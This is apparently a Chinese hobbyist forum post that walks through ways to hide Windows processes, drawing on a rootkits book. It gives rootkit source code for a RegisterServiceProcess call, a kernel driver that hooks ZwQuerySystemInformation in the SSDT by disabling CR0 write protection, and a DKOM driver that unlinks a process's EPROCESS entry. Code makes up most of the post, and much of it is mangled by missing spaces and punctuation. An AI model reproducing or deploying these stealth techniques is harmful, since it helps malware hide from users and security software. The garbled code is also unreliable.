扔出篇垃圾文章,(高手看过笑一下,本文的效果达到了!新入门的觉得有点收获,效果也达到了,高手还是掠过吧!没创新,就是一些总结)
今天是距奥运会的最后一天,已经碌碌无为了.也没什么长进,只是觉得看那本《Rootkits Subverting the Windows Kernel》中文名是《ROOTKITSWindows内核的安全防护》(连名字都给人家改了)觉得收获颇丰.
最近看了下DKOM隐藏驱动,随之联想到几种隐藏进程的方法:
第一种:ring3下的很简单很古老一种方法就是调用RegisterServiceProcess函数

代码:
#include <windows.h>
void main()
{
typedef   DWORD   (CALLBACK*   LPR)(DWORD,DWORD);
HINSTANCEhDLL;   
LPRlpRegisterServiceProcess;   
hDLL   =   LoadLibrary("KERNEL32.dll");   
//得到RegisterServiceProcess的地址   
lpRegisterServiceProcess   =   (LPR)GetProcAddresshDLL,"RegisterServiceProcess" );   
//执行RegisterServiceProcess函数   
lpRegisterServiceProcessGetCurrentProcessId(),1 );   
//卸载链接库   
FreeLibrary(hDLL);
while ( 1 )
{
}
}
不过可惜可惜呀WinNT中没有这个函数
不过有人反汇编了这个函数而且在NT写了代码
http://www.pc-soft.cn/blogview.asp?logID=30
方法2:HOOK SSDT(地球人都知道呀!HOOK ZwQuerySystemInfo)
没什么意思:
代码:
#include <ntddk.h>
//struct of ssdt
typedef struct _SERVICE_DESCRIPT0R_TABLE
{
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfService;
unsigned char *ParamTableBase;
}SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE;
 
typedef struct _SYSTEM_THREADS
{
    LARGE_INTEGER           KernelTime;
    LARGE_INTEGER           UserTime;
    LARGE_INTEGER           CreateTime;
ULONGWaitTime;
PVOIDStartAddress;
    CLIENT_ID               ClientIs;
KPRIORITYPriority;
KPRIORITYBasePriority;
ULONGContextSwitchCount;
ULONGThreadState;
    KWAIT_REASON            WaitReason;
}SYSTEM_THREADS,*PSYSTEM_THREADS;
 
typedef struct _SYSTEM_PROCESSES
{
ULONGNextEntryDelta;
ULONGThreadCount;
ULONGReserved[6];
    LARGE_INTEGERCreateTime;
    LARGE_INTEGERUserTime;
    LARGE_INTEGERKernelTime;
    UNICODE_STRINGProcessName;
KPRIORITYBasePriority;
ULONGProcessId;
ULONGInheritedFromProcessId;
ULONGHandleCount;
ULONGReserved2[2];
    VM_COUNTERS                     VmCounters;
    IO_COUNTERS                     IoCounters//windows 2000 only
SYSTEM_THREADSThreads[1];
}SYSTEMPROCESS,*PSYSTEMPROCESS;
 
NTSYSAPISERVICE_DESCRIPTOR_TABLEKeServiceDescriptorTable;
 
NTSYSAPI
NTSTATUS
NTAPIZwQuerySystemInformationINULONGSystemInfomationClass,
INPVOIDSystemInformation,
INULONGSystemInformationLength,
OUTPULONGReturnLength
  );
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(ULONGSystemInfomationClass,
PVOIDSystemInformation,
ULONGSystemInformationLength,
PULONGReturnLength
 );
 
ZWQUERYSYSTEMINFORMATIONOldZwQuerySystemInformation;
 
NTSTATUS NewZwQuerySystemInformation(   INULONGSystemInfomationClass,
INPVOIDSystemInformation,
INULONGSystemInformationLength,
OUTPULONGReturnLength
 )
{
NTSTATUSntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))(
SystemInfomationClass,
SystemInformation,
SystemInformationLength,
ReturnLength
);
if ( !NT_SUCCESSntStatus ) )//如果失败直接返回
return ntStatus;
if ( SystemInfomationClass == 5 )//如果是列表查询!
{
PSYSTEMPROCESSpCurrentProcess = (PSYSTEMPROCESS)SystemInformation;//得得到进程列表
PSYSTEMPROCESSpPrevious       = NULL;//设置第一项为空
 
while( pCurrentProcess )//开始循环
{
if ( pCurrentProcess->ProcessName.Buffer != NULL )
{
if ( memcmp_wcslwr(pCurrentProcess->ProcessName.Buffer),//将字符串变成小写再比较
L"explorer.exe", sizeof( L"explorer.exe" )) == 0)
{
if ( pPrevious )//如果不是第一个
{
if ( pCurrentProcess->NextEntryDelta )//不是最后一个
pPrevious->NextEntryDelta += pCurrentProcess->NextEntryDelta;
else//最后一个
pPrevious->NextEntryDelta = 0;
}
else//第一个
if ( pCurrentProcess->NextEntryDelta )
(char*)SystemInformation += pCurrentProcess->NextEntryDelta;
else
SystemInformation = NULL;
}
}
pPrevious = pCurrentProcess;
if( pCurrentProcess->NextEntryDelta )
(char*)pCurrentProcess += pCurrentProcess->NextEntryDelta;//移向下一个节点
else
pCurrentProcess = NULL;
}
}
return ntStatus;
}
 
//驱动卸载函数
VOID OnUnload( INPDRIVER_OBJECTDriverObject )
{
DbgPrint( " The Driver Unload ! \n" );
DbgPrint( "UnHook Start! \n ");
__asm//去掉内存保护
{
cli
mov eaxcr0
and eax, not 10000h
mov cr0eax
}
(ZWQUERYSYSTEMINFORMATION
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwQuerySystemInformation + 1 )] = 
OldZwQuerySystemInformation;
__asm//回复内存保护
{
mov eaxcr0
or  eax10000h
mov cr0eax
sti
}
DbgPrint( "UnHook SucessFul! \n" );
 
 
}
 
NTSTATUS
DriverEntry( 
INPDRIVER_OBJECTDriverObject
INPUNICODE_STRINGRegistryPath
)
{
DriverObject->DriverUnload  = OnUnload; 
OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwQuerySystemInformation + 1) ];
DbgPrint( "Hook Start ! \n" );
__asm//去掉内存保护
{
cli
mov eaxcr0
and eax, not 10000h
mov cr0eax
}
(ZWQUERYSYSTEMINFORMATION)
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwQuerySystemInformation + 1 )] = 
NewZwQuerySystemInformation;
__asm//回复内存保护
{
mov eaxcr0
or  eax10000h
mov cr0eax
sti
}
DbgPrint( "Hook SucessFul! \n" );
return STATUS_SUCCESS;
}
什么?眼熟?本来嘛书上的,(天下代码一大抄!关键是抄的妙不妙)
第三种DKOM摘链:
详见书的第七章DKOM
原理就是系统中的每个进程都对应一个EPROCESS结构体,
这是我的机子上的Xp-sp2
lkd> dt _EPROCESS
+0x000 Pcb : _KPROCESS
+0x06c ProcessLock : _EX_PUSH_LOCK
+0x070 CreateTime : _LARGE_INTEGER
+0x078 ExitTime : _LARGE_INTEGER
+0x080 RundownProtect : _EX_RUNDOWN_REF
+0x084 UniqueProcessId : Ptr32 Void
+0x088 ActiveProcessLinks : _LIST_ENTRY
这只是其中的一部分,UniqueProcessId参数是进程的ID,ActiveProcessLinks这个是一个双向链表分别指向了前一个进程和后一个进程的ActiveProcessLinks.这样就把所有的进程连成一个双向的链表,可以方便的查询进程的任何信息.
lkd> dt _LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
隐藏进程的原理就是按照进程的ID找到进程的EPROCESS然后将样隐藏的进程的EPROCESS在链表中移除!详图看书
下面的例子没写和ring3中的程序通讯为了简单就只是在任务管理器中找了个PID隐藏了
代码:
#include <ntddk.h>
#include <windef.h>
//我的是XP-SP2别的系统用WinDbg看一下EPROCESS的结构就行了
#define PIDOFFSET0x84
#define FLINKOFFSET0x88
 
PLIST_ENTRY pList_Org;
//////////////////////////////////////////////////////////////////////////
//根据PID得到进程的EPROCESS
//////////////////////////////////////////////////////////////////////////
DWORD FindProcessEPROCByID( int nPID )
{
DWORDdwEProc     = 0x00000000;//要返回的EPROCESS结构的地址
intnCurrentPID  = 0;
intnStartPID    = 0;//起始ID
intnCount     = 0;
PLIST_ENTRYpList_Current;//当前线程的双链
if ( 0 == nPID )
return 0;
dwEProc    = (DWORD)PsGetCurrentProcess();
nStartPID   = *( ( int* )( dwEProc + PIDOFFSET ) );
nCurrentPID = nStartPID;
while( TRUE )
{
if ( nPID == nCurrentPID )
return dwEProc;
else if ( ( nCount > 0 ) && ( nStartPID == nCurrentPID) )
{
return 0x00000000;
}
else
{
pList_Current = ( PLIST_ENTRY )( dwEProc + FLINKOFFSET );//当前进程的LIST_ENTRY
dwEProc      = (DWORD)pList_Current->Flink;//得到下一个进程的LIST_ENTRY地址
dwEProc      = dwEProc - FLINKOFFSET;//得到当前进程的EPROCESS
nCurrentPID   = *( (int*)( dwEProc + PIDOFFSET ) );//得到下一个进程的PID
nCount++;
}
}
}
//////////////////////////////////////////////////////////////////////
//隐藏进程函数
//////////////////////////////////////////////////////////////////////
NTSTATUS HideProcess( )
{
DWORD dwEProc0;
PLIST_ENTRY pList_Current;
//这里的1816就是在任务管理器中随便找的!
dwEProc= FindProcessEPROCByID( 1816 );
//没有的到地址
if ( dwEProc == 0x00000000 )
{
return STATUS_INVALID_PARAMETER;
}
 
pList_Current = (PLIST_ENTRY)( dwEProc + FLINKOFFSET );
pList_Org = pList_Current;
*( (DWORD*)pList_Current->Blink )     = (DWORD)pList_Current->Flink;
*( (DWORD*)pList_Current->Flink + 1 ) = (DWORD)pList_Current->Blink;
pList_Current->Flink = (PLIST_ENTRY)&( pList_Current->Flink );
pList_Current->Blink = (PLIST_ENTRY)&( pList_Current->Flink );
return STATUS_SUCCESS;
}
//////////////////////////////////////////////////////////////////////////
//驱动卸载
//////////////////////////////////////////////////////////////////////////
NTSTATUS OnUnload( PDRIVER_OBJECT pDriverObj )
{
DbgPrint( "Driver OnUnload! \n " )
return STATUS_SUCCESS;
}
//////////////////////////////////////////////////////////////////////////
// 驱动加载
//////////////////////////////////////////////////////////////////////////
NTSTATUS DriverEntry( PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)
{
NTSTATUS ntStatus;
pDriverObj->DriverUnload = OnUnload;
ntStatus = HideProcess();
return ntStatus;
}
我想现在已经把进程的EPROCESS结构在链表中移除了,为了驱动的完整性我们驱动卸载的时候再把进程的EPROCESS进程插进去呢!
随之又编写了一个还原函数
代码:
NTSTATUSRestore()
{
//在当前进程处插入
DWORDdwEProc0;
PLIST_ENTRYpList_Current;
dwEProc= (DWORD)PsGetCurrentProcess();
*( (DWORD*)pList_Org->Flink )           = (DWORD)pList_Current->Flink;
*( (DWORD*)pList_Org->Blink )           = (DWORD)pList_Current;
*( (DWORD*)pList_Current->Flink + 1)     = (DWORD)pList_Org;
*( (DWORD*)pList_Current->Flink )        = (DWORD)pList_Org;
DbgPrint( "Restore SucessFul! \n" );
return STATUS_SUCCESS;
}
pLink_Org是一个全局变量用于保存进程的PLIST_ENTRY上面的代码已经定义并赋值了
在驱动卸载的时候调用这个函数,编译放在虚拟机中运行,靠,好大一块蓝玻璃?难道是双向链表的操作错了?懂的跳过!
(可笑之处上)
这里我再嗦下双向链表的操作!为此我有写了一个模拟EPROCESS的Demo
代码:
#include <Windows.h>
#include <stdio.h>
 
//双向链表
struct LINKENTRY
{
LINKENTRY*pNext;//指向前一个
LINKENTRY*pPrev;//指向后一个
 
};
//.......
struct LINKTABLE
{
DWORDdwNum1;//模拟结构体EPROCESS上面的内容
LINKENTRYpLinkEntry;//PLINKENTRY结构体指针
DWORDdwNum2;//模拟结构体EPROCESS下面的内容
};
 
//主函数
void main()
{
//////////////////////////////////////////////////////////////////////////
//新建一个链表
//////////////////////////////////////////////////////////////////////////
LINKTABLE*pLinkTable[3];
printf( "%d\n", sizeof( DWORD ) );
printf( "%d \n", sizeof( LINKTABLE ) );
LINKTABLE*pLinkTemp;
for ( int i = 0i < 3i++ )
pLinkTable[i] = newLINKTABLE;
pLinkTable[0]->dwNum1 = 0;
pLinkTable[0]->dwNum2 = 0;
pLinkTable[0]->pLinkEntry.pPrev = NULL;
pLinkTable[0]->pLinkEntry.pNext = ( LINKENTRY* )&pLinkTable[1]->pLinkEntry;
pLinkTable[1]->dwNum1 = 1;
pLinkTable[1]->dwNum2 = 1;
pLinkTable[1]->pLinkEntry.pPrev = ( LINKENTRY* )&pLinkTable[0]->pLinkEntry;
pLinkTable[1]->pLinkEntry.pNext = ( LINKENTRY* )&pLinkTable[2]->pLinkEntry;
pLinkTable[2]->dwNum1 = 2;
pLinkTable[2]->dwNum2 = 2;
pLinkTable[2]->pLinkEntry.pPrev = ( LINKENTRY* )&pLinkTable[1]->pLinkEntry;
pLinkTable[2]->pLinkEntry.pNext = NULL;
pLinkTemp = pLinkTable[0];
printf( "\n******************************************************\n" );
for ( i = 0i < 3i++ )
{
printf( "Num[%d]1 = %d \n", i, (int)( pLinkTemp->dwNum1 ) );
printf( "Num[%d]2 = %d \n", i, (int)( pLinkTemp->dwNum2 ) );
pLinkTemp = ( LINKTABLE* )((DWORD)( pLinkTemp->pLinkEntry.pNext) - 4);
printf( "pLinkTable[1] = %08x\n", pLinkTable[1] );
printf( "pLinkTemp = %08x\n", pLinkTemp);
}
printf( "******************************************************\n\n" );
//////////////////////////////////////////////////////////////////////////
//移除第二项
//////////////////////////////////////////////////////////////////////////
pLinkTemp = pLinkTable[0];
LINKENTRYpListCurrent//= new LINKENTRY;
pListCurrent = (LINKENTRY*)&pLinkTable[1]->pLinkEntry;
*((DWORD*)pListCurrent->pPrev)   = (DWORD)pListCurrent->pNext;
*((DWORD*)pListCurrent->pNext + 1) = (DWORD)pListCurrent->pPrev;
printf( "\n******************************************************\n" );
for ( i = 0i < 2i++ )
{
printf( "Num[%d]1 = %d \n", i, (int)( pLinkTemp->dwNum1 ) );
printf( "Num[%d]2 = %d \n", i, (int)( pLinkTemp->dwNum2 ) );
pLinkTemp = ( LINKTABLE* )((DWORD)( pLinkTemp->pLinkEntry.pNext) - 4);
printf( "pLinkTable[1] = %08x\n", pLinkTable[1] );
printf( "pLinkTemp = %08x\n", pLinkTemp);
}
printf( "\n******************************************************\n" );
//////////////////////////////////////////////////////////////////////////
//把原来项插入到链表中去
//////////////////////////////////////////////////////////////////////////
pLinkTemp = pLinkTable[0];
LINKENTRYpListOrg = pListCurrent;
pListCurrent = (LINKENTRY*)&pLinkTable [0]->pLinkEntry;
*((DWORD*)pListOrg->pNext)= (DWORD)pListCurrent->pNext;   //修改要插入项的向前的指针
*((DWORD*)pListOrg->pPrev)= (DWORD)pListCurrent;//修改要插入项的向后的指针
*((DWORD*)pListCurrent->pNext + 1)= (DWORD)pListOrg;//修改最前向的向后的指针
*((DWORD*)pListCurrent->pNext)= (DWORD)pListOrg;//修改最后一项的向前的指针
printf( "\n******************************************************\n" );
for ( i = 0i < 3i++ )
{
printf( "Num[%d]1 = %d \n", i, (int)( pLinkTemp->dwNum1 ) );
printf( "Num[%d]2 = %d \n", i, (int)( pLinkTemp->dwNum2 ) );
pLinkTemp = ( LINKTABLE* )((DWORD)( pLinkTemp->pLinkEntry.pNext) - 4);
printf( "pLinkTable[1] = %08x\n", pLinkTable[1] );
printf( "pLinkTemp = %08x\n", pLinkTemp->pLinkEntry.pNext);
}
printf( "******************************************************\n\n" );
}

Demo运程完好说明双向链表的操作没错,最后得出个不知对错的结论:
----摘掉的EPROCESS不能再被插入
(个人觉得也不对,不过论坛上问了下没人回答知道暂时这样了)
请大家踊跃批评,最好能反驳这个结论!(写上原因哦!)
/*************************************************************************/
/*************************************************************************/
上面的问题解决了,还是在WinDbg的帮助下解决了问题,结论是错误的,(其实早就知道是错的)Ring3下的模拟的双链和内核中的EPROCESS的机制不一样,ring3下的是死的,而在内核中系统会紫铜扫描结构体的变化,把改掉的结构体相关的结构都改过来,导致所有有的结构体指针没有改变,
现把解决方法注上!(就是修改后的Restore函数):
代码:
NTSTATUS Restore()
{
//在当前进程处插入
DWORD dwEProc 0;
PLIST_ENTRY pList_Current;
dwEProc = (DWORD)PsGetCurrentProcess();
if( 0 == dwEProc )
return STATUS_SUCCESS;
pList_Current = ( PLIST_ENTRY )(dwEProc + FLINKOFFSET);
*( (DWORD*)pList_Org->Flink )           = (DWORD)pList_Current->Flink;
//*( (DWORD*)pList_Org->Blink )           = (DWORD)pList_Current;
pList_Org->Blink = (PLIST_ENTRY)pList_Current;
*( (DWORD*)pList_Current->Flink + 1)     = (DWORD)pList_Org;
//*( (DWORD*)pList_Current->Flink )        = (DWORD)pList_Org;
pList_Current->Flink = (PLIST_ENTRY)pList_Org;
DbgPrint( "UnHook SucessFul! \n" );
return STATUS_SUCCESS;
}
/*************************************************************************/
/*************************************************************************/
第四种就是:
用补丁方法就是Detour Patching来修改NtQuerySystemInformation函数
(就是那个跳来跳去的方法)
唉!文章太长了以后补上